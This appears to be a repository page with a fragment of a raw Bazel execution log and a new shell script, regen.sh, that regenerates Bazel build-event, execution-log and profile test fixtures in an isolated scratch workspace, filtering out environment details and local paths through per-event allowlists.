3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log
3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml
0
1?
JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$
PATH/bin:/usr/bin:/usr/local/binA
PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles>
RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
RUN_UNDER_RUNFILES1
TEST_BINARY ./flaky_testj
TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel
TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs
TEST_NAME //:flaky_test^
TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely
TEST_SHARD_INDEX0
TEST_SIZEmedium=
TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles
TEST_TARGET //:flaky_test
TEST_TIMEOUT3004
TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87
TEST_TOTAL_SHARDS0s
#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk
'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV
TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm
TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd
TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU
TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings
TEST_WORKSPACE_main
TZUTCF
XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml F2(G: //:flaky_testB
TestRunnerZdisk cache hit`hpx‚E
@aec77e861fc71a6827175a35ca9248a9f51b1060f58b9f6debaa414a6c06f0b5’’
€‰z"À„=XÎ/`¢ ñú—Ö€ÚÖý

325
tools/bazel/testdata/ci_analytics/regen.sh vendored Executable file
View file

@ -0,0 +1,325 @@
#!/usr/bin/env bash
# Regenerates real/*.json and real/*.binpb from a disposable scratch Bazel
# workspace. Run manually (not part of any test or CI job); the fixtures it
# produces are committed. This documents how they were made, so a reviewer
# can tell they are real Bazel 9 output and not hand-written JSON, and so
# they can be regenerated against a newer Bazel without re-deriving the
# scratch workspace from scratch.
#
# Isolation matters here as much as in bazel.yml itself, and more: the host
# that runs this script is a live operator workstation, not a disposable CI
# runner, so Bazel's own BEP `started` event and --client_env echo the whole
# ambient environment (hostname, user, SSH_CLIENT, auth tokens, gateway key
# paths, ...) straight into the fixture unless we scrub it. We do that in two
# layers:
# 1. Run Bazel under `env -i` with a minimal, scratch-local environment, so
# there is nothing secret in the environment to begin with.
# 2. Pass every raw BEP file through filter_bep() below, which keeps only
# the events and fields tools/bazel/ci_analytics_extract.py actually
# reads, before anything is copied into $out. This is defense in depth:
# even a future Bazel version that adds new ambient fields to `started`
# or a new event kind gets dropped by default, not included by default.
#
# --nohome_rc --nosystem_rc keep the home .bazelrc (which may carry a real
# --remote_executor) out of the invocation, and --output_user_root puts the
# repo-contents cache outside the scratch workspace. No remote flags are
# passed at all: these fixtures are deliberately local-only (disk_cache_hit,
# not remote_cache_hit). A synthetic remote-runner fixture is built in
# ci_analytics_extract_test.py instead, from its own varint encoder, since
# this repo's sandbox has no RBE endpoint to run against.
set -euo pipefail
real_bazel=$(command -v bazel)
scratch=$(mktemp -d)
userroot=$(mktemp -d)
diskcache=$(mktemp -d)
home="$scratch/home"
mkdir -p "$home"
trap 'rm -rf "$scratch" "$userroot" "$diskcache"' EXIT
repo_root=$(cd "$(dirname "${BASH_SOURCE[0]}")/../../../.." && pwd)
cp "$repo_root/.bazelversion" "$scratch/.bazelversion"
cat >"$scratch/MODULE.bazel" <<'EOF'
module(name = "s2scratch", version = "0.0.0")
bazel_dep(name = "rules_cc", version = "0.0.17")
EOF
cat >"$scratch/BUILD.bazel" <<'EOF'
load("@rules_cc//cc:defs.bzl", "cc_test")
cc_test(
name = "pass_test",
srcs = ["main_pass.c"],
)
cc_test(
name = "sharded_test",
srcs = ["main_shard.c"],
shard_count = 3,
)
cc_test(
name = "flaky_test",
srcs = ["main_fail.c"],
)
genrule(
name = "gen_out",
outs = ["gen_out.txt"],
cmd = "echo hello > $@",
)
EOF
cat >"$scratch/main_pass.c" <<'EOF'
int main(void) { return 0; }
EOF
cat >"$scratch/main_fail.c" <<'EOF'
int main(void) { return 1; }
EOF
cat >"$scratch/main_shard.c" <<'EOF'
#include <stdio.h>
#include <stdlib.h>
int main(void) {
const char *status_file = getenv("TEST_SHARD_STATUS_FILE");
if (status_file != NULL) {
FILE *f = fopen(status_file, "w");
if (f != NULL) {
fclose(f);
}
}
return 0;
}
EOF
cd "$scratch"
# A fully scrubbed environment: no inherited secrets, SSH state, gateway
# addresses or tokens. PATH is just enough for a C toolchain and bazel's own
# exec needs; HOME is scratch-local so nothing in it (no ~/.bazelrc either)
# can leak in, and so Bazel's own "user"/"host" fields come from this
# sandboxed identity rather than the operator's.
run_bazel() {
env -i \
HOME="$home" \
PATH=/usr/bin:/bin \
USER=fixture \
LOGNAME=fixture \
TMPDIR=/tmp \
"$real_bazel" --nohome_rc --nosystem_rc "--output_user_root=$userroot" "$@"
}
out="$1" # destination dir, e.g. tools/bazel/testdata/ci_analytics/real
mkdir -p "$out"
# filter_bep keeps only the BEP events and fields
# tools/bazel/ci_analytics_extract.py reads (plus buildToolLogs' "name" and
# "contents", with "uri" stripped, since those are local filesystem paths and
# not needed to recompute anything the extractor reports). Everything else —
# unstructuredCommandLine, structuredCommandLine, optionsParsed,
# workspaceStatus, buildMetadata, progress, and the leaky parts of started —
# is dropped entirely rather than merely left unused, so the fixture itself
# carries nothing a reviewer reading the raw JSON could call a leak.
filter_bep() {
python3 - "$1" "$2" <<'PY'
import json
import sys
src, dst = sys.argv[1], sys.argv[2]
# Positive allowlists only, one per event kind: every key below is one
# ci_analytics_extract.py actually reads (cross-checked against
# build_timing/build_tests/build_action_data). Nothing else survives,
# including keys a future Bazel version might add -- a denylist (drop just
# the known-leaky keys) was tried first and missed testSummary.passed/
# failed[].uri (a file://<scratch-path> local path) entirely; an allowlist
# can't miss a key like that by construction, it would just never be kept.
STARTED_KEEP = {"uuid", "command", "buildToolVersion", "startTimeMillis"}
TESTRESULT_KEEP = {"status", "cachedLocally", "testAttemptDuration", "testAttemptDurationMillis"}
EXECINFO_KEEP = {"strategy", "timingBreakdown"}
TIMING_CHILD_KEEP = {"name", "time"}
TESTSUMMARY_KEEP = {"overallStatus", "shardCount", "attemptCount", "totalNumCached"}
FINISHED_KEEP = {"finishTimeMillis"}
EXITCODE_KEEP = {"code", "name"}
LOG_ENTRY_KEEP = {"name", "contents"}
def pick(d, keys):
return {k: v for k, v in d.items() if k in keys} if isinstance(d, dict) else {}
def filter_test_result(tr):
if not isinstance(tr, dict):
return {}
out = pick(tr, TESTRESULT_KEEP)
ei = tr.get("executionInfo")
if isinstance(ei, dict):
filtered_ei = pick(ei, EXECINFO_KEEP)
tbd = ei.get("timingBreakdown")
if isinstance(tbd, dict) and isinstance(tbd.get("child"), list):
filtered_ei["timingBreakdown"] = {
"child": [pick(c, TIMING_CHILD_KEEP) for c in tbd["child"] if isinstance(c, dict)]
}
out["executionInfo"] = filtered_ei
return out
def filter_build_metrics(bm):
if not isinstance(bm, dict):
return {}
out = {}
tm = bm.get("timingMetrics")
if isinstance(tm, dict):
out["timingMetrics"] = pick(
tm,
{
"cpuTimeInMs",
"wallTimeInMs",
"analysisPhaseTimeInMs",
"executionPhaseTimeInMs",
"actionsExecutionStartInMs",
"criticalPathTime",
"criticalPathTimeInMs",
},
)
asum = bm.get("actionSummary")
if isinstance(asum, dict):
filtered_asum = pick(asum, {"actionsCreated", "actionsExecuted"})
if isinstance(asum.get("runnerCount"), list):
filtered_asum["runnerCount"] = [
pick(rc, {"name", "count", "execKind"}) for rc in asum["runnerCount"] if isinstance(rc, dict)
]
acs = asum.get("actionCacheStatistics")
if isinstance(acs, dict):
filtered_asum["actionCacheStatistics"] = pick(acs, {"hits", "misses"})
if isinstance(asum.get("actionData"), list):
filtered_asum["actionData"] = [
pick(ad, {"mnemonic", "actionsExecuted", "actionsCreated", "userTime", "systemTime"})
for ad in asum["actionData"]
if isinstance(ad, dict)
]
out["actionSummary"] = filtered_asum
pm = bm.get("packageMetrics")
if isinstance(pm, dict):
out["packageMetrics"] = pick(pm, {"packagesLoaded"})
tgm = bm.get("targetMetrics")
if isinstance(tgm, dict):
out["targetMetrics"] = pick(tgm, {"targetsConfigured"})
nmw = bm.get("networkMetrics")
nm = nmw.get("systemNetworkStats") if isinstance(nmw, dict) else None
if isinstance(nm, dict):
out["networkMetrics"] = {"systemNetworkStats": pick(nm, {"bytesRecv", "bytesSent"})}
return out
with open(src) as fin, open(dst, "w") as fout:
for line in fin:
line = line.strip()
if not line:
continue
event = json.loads(line)
kept = {}
# "id" carries the BEP identifier for this event (e.g.
# id.testResult.label / id.testSummary.label), which
# ci_analytics_extract.py reads to group test rows by label. It is
# not leaky on its own (a label, run/shard/attempt numbers), so it
# is kept verbatim alongside whichever event body below is kept.
if "id" in event:
kept["id"] = event["id"]
if "started" in event and isinstance(event["started"], dict):
kept["started"] = pick(event["started"], STARTED_KEEP)
elif "testResult" in event:
kept["testResult"] = filter_test_result(event["testResult"])
elif "testSummary" in event and isinstance(event["testSummary"], dict):
# passed/failed (TestFile{uri, ...} lists) are never read by
# the extractor at all: dropped entirely, not merely
# uri-stripped, along with anything else not in the allowlist.
kept["testSummary"] = pick(event["testSummary"], TESTSUMMARY_KEEP)
elif "buildMetrics" in event:
kept["buildMetrics"] = filter_build_metrics(event["buildMetrics"])
elif "finished" in event and isinstance(event["finished"], dict):
fin_ev = pick(event["finished"], FINISHED_KEEP)
ec = event["finished"].get("exitCode")
if isinstance(ec, dict):
fin_ev["exitCode"] = pick(ec, EXITCODE_KEEP)
kept["finished"] = fin_ev
elif "buildToolLogs" in event:
btl = event["buildToolLogs"]
logs = btl.get("log") if isinstance(btl, dict) else None
kept["buildToolLogs"] = {
"log": [pick(entry, LOG_ENTRY_KEEP) for entry in (logs or []) if isinstance(entry, dict)]
}
else:
kept.pop("id", None)
continue
fout.write(json.dumps(kept) + "\n")
PY
}
# trim_profile keeps only the "Fetching repository" category entries the
# extractor's iter_repo_fetch() reads, dropping the (much larger, and
# otherwise unredacted) rest of the Chrome trace. Written one event per
# line -- {"traceEvents":[\n{...},\n{...}\n]} -- matching the real,
# streamable shape Bazel itself writes a JSON --profile in (as opposed to
# json.dump()'s single line): iter_repo_fetch() reads the profile line by
# line specifically so it never has to hold the whole (potentially huge)
# trace in memory, and a single-line file defeats that path entirely
# (every "Fetching repository" entry, if there's more than one, ends up on
# the one line containing the literal "traceEvents" key instead, which
# doesn't have a "cat" of its own and is skipped -- repo_fetch would always
# be empty, and the test for it would pass vacuously).
trim_profile() {
python3 - "$1" "$2" <<'PY'
import json
import sys
src, dst = sys.argv[1], sys.argv[2]
with open(src) as f:
doc = json.load(f)
events = [
e for e in doc.get("traceEvents", []) if e.get("cat") == "Fetching repository"
]
with open(dst, "w") as f:
f.write('{"traceEvents":[\n')
f.write(",\n".join(json.dumps(e) for e in events))
f.write("\n]}\n")
PY
}
# Cold: no disk cache. pass_test and sharded_test pass; flaky_test fails
# (deliberately, so the fixture has a FAILED testResult too).
run_bazel test //... \
--keep_going \
--build_event_json_file="$scratch/cold-bep.raw.json" \
--execution_log_compact_file="$scratch/cold-exec.log" \
--profile="$scratch/cold-profile.raw.json" || true
filter_bep "$scratch/cold-bep.raw.json" "$out/cold-bep.json"
zstd -dc --long=0 "$scratch/cold-exec.log" >"$out/cold-exec.binpb"
trim_profile "$scratch/cold-profile.raw.json" "$out/cold-profile.json"
# Warm: first run with --disk_cache set populates it (its own actions are
# still local execs; the disk cache is empty going in). Not copied to $out
# on its own; it only sets up the disk cache for the post-clean run below.
run_bazel test //... \
--keep_going \
"--disk_cache=$diskcache" \
--build_event_json_file="$scratch/warm1-bep.json" \
--execution_log_compact_file="$scratch/warm1-exec.log" || true
# Post-clean, with the disk cache warm1 just populated: every action is a
# disk_cache_hit except flaky_test's TestRunner spawn (Bazel never caches a
# failed test's result, so it reruns and misses).
run_bazel clean
run_bazel test //... \
--keep_going \
"--disk_cache=$diskcache" \
--build_event_json_file="$scratch/postclean-bep.raw.json" \
--execution_log_compact_file="$scratch/postclean-exec.log" || true
filter_bep "$scratch/postclean-bep.raw.json" "$out/postclean-bep.json"
zstd -dc --long=0 "$scratch/postclean-exec.log" >"$out/postclean-exec.binpb"
echo "wrote fixtures to $out" >&2